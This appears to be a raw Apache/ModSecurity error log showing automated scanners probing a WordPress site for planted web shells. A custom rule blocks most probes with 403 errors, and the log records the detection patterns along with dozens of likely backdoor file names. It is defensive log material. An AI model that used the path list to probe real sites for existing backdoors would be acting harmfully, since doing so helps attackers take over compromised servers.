[Thu Apr 23 09:59:22.881056 2026] [:error] [pid 42971:tid 43008] [client 91.230.225.23:27115] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ael8-jEP2_5RswrH8bHj5QAAABY"]
[Thu Apr 23 09:59:23.437338 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.205:43725] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ael8-76vRb9j6psK2ZYKgwAAAhA"]
[Thu Apr 23 09:59:23.976539 2026] [:error] [pid 64998:tid 65013] [client 91.230.225.199:57767] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ael8-4V5EysYcTLjmwiLPgAAAcs"]
[Thu Apr 23 09:59:24.522624 2026] [:error] [pid 64967:tid 64992] [client 91.230.225.205:41069] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ael8_IAV4GfOOdX8Qzo6rwAAAZc"]
[Thu Apr 23 09:59:25.061106 2026] [:error] [pid 64967:tid 64976] [client 91.230.225.19:49265] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "ael8_YAV4GfOOdX8Qzo6vAAAAYc"]
[Thu Apr 23 09:59:25.626334 2026] [:error] [pid 42971:tid 42988] [client 185.192.71.21:48987] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Thu Apr 23 09:59:26.490987 2026] [:error] [pid 42971:tid 42999] [client 185.192.71.21:48987] [client 185.192.71.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.21, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ael8_jEP2_5RswrH8bHkCQAAAA0"]
[Thu Apr 23 09:59:27.926682 2026] [:error] [pid 42971:tid 42994] [client 185.192.71.21:48987] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ael8_zEP2_5RswrH8bHkFgAAAAg"]
[Thu Apr 23 09:59:29.037548 2026] [:error] [pid 59700:tid 59710] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Thu Apr 23 09:59:29.321759 2026] [:error] [pid 59700:tid 59725] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fmfile.php
[Thu Apr 23 09:59:30.435796 2026] [:error] [pid 59700:tid 59719] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Thu Apr 23 09:59:30.773912 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Thu Apr 23 09:59:31.933916 2026] [:error] [pid 59700:tid 59717] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Thu Apr 23 09:59:32.214334 2026] [:error] [pid 59700:tid 59724] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Thu Apr 23 09:59:32.487583 2026] [:error] [pid 59700:tid 59707] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Thu Apr 23 09:59:32.768990 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.200:27169] File does not exist: /usr/local/apache/htdocs/suspended-page/nation.php
[Thu Apr 23 09:59:33.039748 2026] [:error] [pid 59700:tid 59707] [client 91.230.225.200:27169] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ael9BZXyGZJFeAIDWtmewwAAAUU"]
[Thu Apr 23 09:59:33.595723 2026] [:error] [pid 42972:tid 43033] [client 185.192.71.30:55669] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ael9BcOAb-3sOknsk4dPCAAAAFE"]
[Thu Apr 23 09:59:34.154369 2026] [:error] [pid 65000:tid 65048] [client 91.230.225.204:65461] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ael9Br6vRb9j6psK2ZYK8QAAAg8"]
[Thu Apr 23 09:59:34.966974 2026] [:error] [pid 59700:tid 59710] [client 91.230.225.24:50203] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Thu Apr 23 09:59:35.236466 2026] [:error] [pid 59700:tid 59724] [client 91.230.225.24:50203] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-footer.php
[Thu Apr 23 09:59:35.798122 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.24:50203] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Thu Apr 23 09:59:36.343457 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.24:50203] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ael9CJXyGZJFeAIDWtme3AAAAUs"]
[Thu Apr 23 09:59:36.878044 2026] [:error] [pid 65000:tid 65055] [client 91.230.225.196:41531] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ael9CL6vRb9j6psK2ZYLHgAAAhY"]
[Thu Apr 23 09:59:37.427316 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.10:45653] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ael9CW6I0QqmmmLTHE38NQAAAIA"]
[Thu Apr 23 09:59:39.075971 2026] [:error] [pid 65000:tid 65029] [client 91.230.225.21:60131] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ael9C76vRb9j6psK2ZYLRQAAAgA"]
[Thu Apr 23 09:59:39.906532 2026] [:error] [pid 25635:tid 25647] [client 91.230.225.195:47715] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ael9C8Rxv6UsgRGKB3IFWgAAAQg"]
[Thu Apr 23 09:59:41.002089 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.19:38391] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ael9DcOAb-3sOknsk4dPNgAAAEo"]
[Thu Apr 23 09:59:45.750342 2026] [:error] [pid 42971:tid 42998] [client 185.192.71.37:36177] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "ael9ETEP2_5RswrH8bHkxgAAAAw"]
[Thu Apr 23 09:59:46.292279 2026] [:error] [pid 59700:tid 59706] [client 185.192.71.29:38167] File does not exist: /usr/local/apache/htdocs/suspended-page/xex.php
[Thu Apr 23 09:59:46.562927 2026] [:error] [pid 59700:tid 59706] [client 185.192.71.29:38167] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "ael9EpXyGZJFeAIDWtmfIwAAAUQ"]
[Thu Apr 23 09:59:47.645388 2026] [:error] [pid 46953:tid 46973] [client 185.192.71.38:61189] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Thu Apr 23 09:59:48.474477 2026] [:error] [pid 46953:tid 46962] [client 185.192.71.38:61189] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Thu Apr 23 09:59:48.740035 2026] [:error] [pid 46953:tid 46956] [client 185.192.71.38:61189] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "ael9FEnlpdHh-P6wKbrM9QAAAkA"]
[Thu Apr 23 09:59:49.859946 2026] [:error] [pid 42971:tid 43007] [client 91.230.225.195:37427] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "ael9FTEP2_5RswrH8bHk3gAAABU"]
[Thu Apr 23 09:59:51.524089 2026] [:error] [pid 42972:tid 43028] [client 185.192.71.40:44905] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "ael9F8OAb-3sOknsk4dPlwAAAEw"]
[Thu Apr 23 09:59:53.166907 2026] [:error] [pid 43083:tid 43094] [client 91.230.225.23:42307] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "ael9GTC5hrvNXosL83IjegAAAMk"]
[Thu Apr 23 09:59:53.977463 2026] [:error] [pid 42973:tid 43049] [client 91.230.225.203:64259] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Thu Apr 23 09:59:54.245512 2026] [:error] [pid 42973:tid 43066] [client 91.230.225.203:64259] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "ael9Gm6I0QqmmmLTHE38qgAAAJc"]
[Thu Apr 23 09:59:54.797346 2026] [:error] [pid 46953:tid 46957] [client 185.192.71.26:23845] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "ael9GknlpdHh-P6wKbrNEwAAAkE"]
[Thu Apr 23 09:59:56.717820 2026] [:error] [pid 42972:tid 43018] [client 91.230.225.20:20269] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "ael9HMOAb-3sOknsk4dPzwAAAEI"]
[Thu Apr 23 09:59:57.254724 2026] [:error] [pid 42973:tid 43057] [client 185.192.71.33:40327] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Thu Apr 23 09:59:58.333950 2026] [:error] [pid 42973:tid 43057] [client 185.192.71.33:40327] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Thu Apr 23 09:59:58.606684 2026] [:error] [pid 42973:tid 43051] [client 185.192.71.33:40327] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "ael9Hm6I0QqmmmLTHE38zgAAAIg"]
[Thu Apr 23 09:59:59.756388 2026] [:error] [pid 42973:tid 43066] [client 91.230.225.19:35859] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Thu Apr 23 10:00:00.324127 2026] [:error] [pid 42973:tid 43066] [client 91.230.225.19:35859] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ael9IG6I0QqmmmLTHE387wAAAJc"]
[Thu Apr 23 10:00:00.877782 2026] [:error] [pid 64998:tid 65018] [client 91.230.225.23:35413] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "ael9IIV5EysYcTLjmwiMbQAAAdA"]
[Thu Apr 23 10:00:02.414888 2026] [:error] [pid 43083:tid 43102] [client 185.192.71.38:50013] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "ael9IjC5hrvNXosL83IkAAAAANE"]
[Thu Apr 23 10:00:03.607600 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.206:38809] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "ael9IzC5hrvNXosL83IkDAAAAM8"]
[Thu Apr 23 10:00:04.240098 2026] [:error] [pid 42973:tid 43051] [client 185.192.71.36:30223] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "ael9JG6I0QqmmmLTHE39EgAAAIg"]
[Thu Apr 23 10:00:05.195850 2026] [:error] [pid 46953:tid 46957] [client 91.230.225.195:53671] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_SpaceTn.php
[Thu Apr 23 10:00:06.694659 2026] [:error] [pid 46953:tid 46978] [client 91.230.225.195:53671] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "ael9JknlpdHh-P6wKbrNSgAAAlU"]
[Thu Apr 23 10:00:07.824658 2026] [:error] [pid 25635:tid 25649] [client 91.230.225.205:30395] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "ael9J8Rxv6UsgRGKB3IF8gAAAQo"]
[Thu Apr 23 10:00:08.404652 2026] [:error] [pid 64967:tid 64973] [client 185.192.71.37:48139] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "ael9KIAV4GfOOdX8Qzo8YgAAAYQ"]
[Thu Apr 23 10:00:09.254091 2026] [:error] [pid 42973:tid 43055] [client 91.230.225.198:52053] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Thu Apr 23 10:00:09.538953 2026] [:error] [pid 42973:tid 43049] [client 91.230.225.198:52053] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "ael9KW6I0QqmmmLTHE39OAAAAIY"]
[Thu Apr 23 10:00:10.368211 2026] [:error] [pid 46953:tid 46965] [client 185.192.71.38:62527] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "ael9KknlpdHh-P6wKbrNXwAAAkk"]
[Thu Apr 23 10:00:12.315784 2026] [:error] [pid 64967:tid 64973] [client 185.192.71.35:26583] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "ael9LIAV4GfOOdX8Qzo8eQAAAYQ"]
[Thu Apr 23 10:00:13.155631 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.197:54591] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Thu Apr 23 10:00:13.878581 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.197:54591] [client 91.230.225.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "ael9LYV5EysYcTLjmwiM8wAAAcY"]
[Thu Apr 23 10:00:14.983965 2026] [:error] [pid 42973:tid 43057] [client 91.230.225.15:31765] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "ael9Lm6I0QqmmmLTHE39bgAAAI4"]
[Thu Apr 23 10:00:15.843973 2026] [:error] [pid 65000:tid 65050] [client 185.192.71.26:31419] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "ael9L76vRb9j6psK2ZYNNAAAAhE"]
[Thu Apr 23 10:00:16.674371 2026] [:error] [pid 46953:tid 46976] [client 91.230.225.203:35765] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "ael9MEnlpdHh-P6wKbrNhwAAAlQ"]
[Thu Apr 23 10:00:17.223509 2026] [:error] [pid 42971:tid 42999] [client 91.230.225.195:36451] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "ael9MTEP2_5RswrH8bHl4QAAAA0"]
[Thu Apr 23 10:00:17.768989 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.11:53641] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "ael9Mb6vRb9j6psK2ZYNYQAAAhA"]
[Thu Apr 23 10:00:20.054281 2026] [:error] [pid 25635:tid 25644] [client 91.230.225.198:34637] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "ael9NMRxv6UsgRGKB3IGHQAAAQU"]
